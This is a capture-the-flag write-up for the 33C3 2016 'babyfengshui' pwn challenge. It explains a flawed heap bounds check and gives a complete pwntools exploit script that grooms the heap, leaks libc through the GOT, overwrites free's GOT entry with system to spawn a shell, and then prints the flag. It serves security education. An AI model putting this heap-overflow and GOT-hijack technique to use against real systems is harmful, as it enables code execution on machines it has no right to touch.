Home 33C3 CTF 2016 -- babyfengshui
Post
Cancel

33C3 CTF 2016 -- babyfengshui

Category: pwn
Points: 150

32 bit ELF, with Partial RELRO, canary & NX enabled, No PIE

program menu:

1
2
3
4
5
6
$ ./babyfengshui
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit

Add a user:

1
2
3
4
5
Action: 0
size of description: 50 <-- max length of description
name: AAAA 
text length: 12 <-- actual length of description
text: 1234

Show a user:

1
2
3
4
Action: 2
index: 0 <-- user's index
name: AAAA
description: 1234

Update a user:

1
2
3
4
Action: 3
index: 0
text length: 10 <-- new length of the description
text: 1234567890

Here’s the data structure of a user:

1
2
3
4
struct user{
    char* desc;
    char name[124];
};

The program will free user->desc & user while deleting a user. It also clear the pointer of the user, so there’s no Use-After-Free vulnerability.

The program has some strange protection while setting the user’s description:

1
2
3
4
5
6
7
8
// users = struct user *users[]
if ( &users[id]->desc[text_len] >= &users[id] - 4 )
{
    puts("my l33t defenses cannot be fooled, cya!");
    exit(1);
}
printf("text: ");
read_n(users[id]->desc, text_len + 1);

So user->desc + text_len must < user (both user->desc and user are pointers). Guess it use this protection to avoid heap overflow.

But what if we have the following heap memory layout?


            +-----------------------+
userD->desc |                       |
            |                       |
            +-----------------------+
            |            userB->desc| userB
            |                       |
            |                       |
            |                       |
            +-----------------------+
            |            userC->desc| userC
            |                       |
            |                       |
            |                       |
            +-----------------------+
            |            userD->desc| userD
            |                       |
            |                       |
            |                       |
            +-----------------------+

According to the protection, userD->desc + text_len should less than userD, which means it will be ok to overwrite the whole userB and userC.

It is possible to arrange the above heap memory layout if we’re familiar with malloc’s memory allocation. We can then exploit the heap overflow vulnerability and modify the userB->desc pointer, making us able to do the read/write anywhere attack. After that is pretty simple, we leak the libc’s base address and hijack free’s GOT to get the shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "78.46.224.83"
PORT = 1456
ELF_PATH = "./babyfengshui_noalarm"
LIBC_PATH = "./libc-2.19.so"

# setting 
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'

elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)

def add_user(desc_len, name, text_len, text):
    r.sendlineafter("Action: ", "0")
    r.sendlineafter("description: ", str(desc_len))
    r.sendlineafter("name: ", name)
    r.sendlineafter("length: ", str(text_len))
    r.sendlineafter("text: ", text)

def del_user(index):
    r.sendlineafter("Action: ", "1")
    r.sendlineafter("index: ", str(index))

def show_user(index):
    r.sendlineafter("Action: ", "2")
    r.sendlineafter("index: ", str(index))

def update_user(index, text_len, text):
    r.sendlineafter("Action: ", "3")
    r.sendlineafter("index: ", str(index))
    r.sendlineafter("length: ", str(text_len))
    r.sendlineafter("text: ", text)

if __name__ == "__main__":

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)
    
    add_user(50, "A"*123, 12, "a"*12)
    add_user(50, "B"*123, 12, "b"*12) 
    add_user(50, "C"*123, 12, "sh\x00") # user[2], desc = "sh\x00" (for later's GOT hijacking)
    del_user(0)
    add_user(90, "D"*123, 12, "d"*12)
    add_user(50, "E"*123, 0x100, "i"*0xf8 + p32(elf.got['__libc_start_main'])) 
    # now user[4]'s desc is user[0]'s desc (in previous)
    # user[4]->desc + 0x2c8 = user[4], which means we can overflow user[4]->desc & overwrite user[1]->desc to libc_start_main@got.plt

    # leak address
    show_user(1)
    r.recvuntil("description: ")
    libc.address += u32(r.recv(4)) - libc.symbols['__libc_start_main']
    system_addr = libc.symbols['system']
    log.success("libc: "+hex(libc.address))
    log.success("system: "+hex(system_addr))
    
    # change user[1]->desc into free@got.plt
    # hijack free's got, then free user[2] to get shell
    update_user(4, 0x100, "i"*0xf8 + p32(elf.got['free']))
    update_user(1, 5, p32(system_addr))
    del_user(2)

    r.interactive()

flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

This post is licensed under CC BY-SA 4.0 by the author.

33C3 CTF 2016 -- ESPR

33C3 CTF 2016 -- rec

Comments powered by Disqus.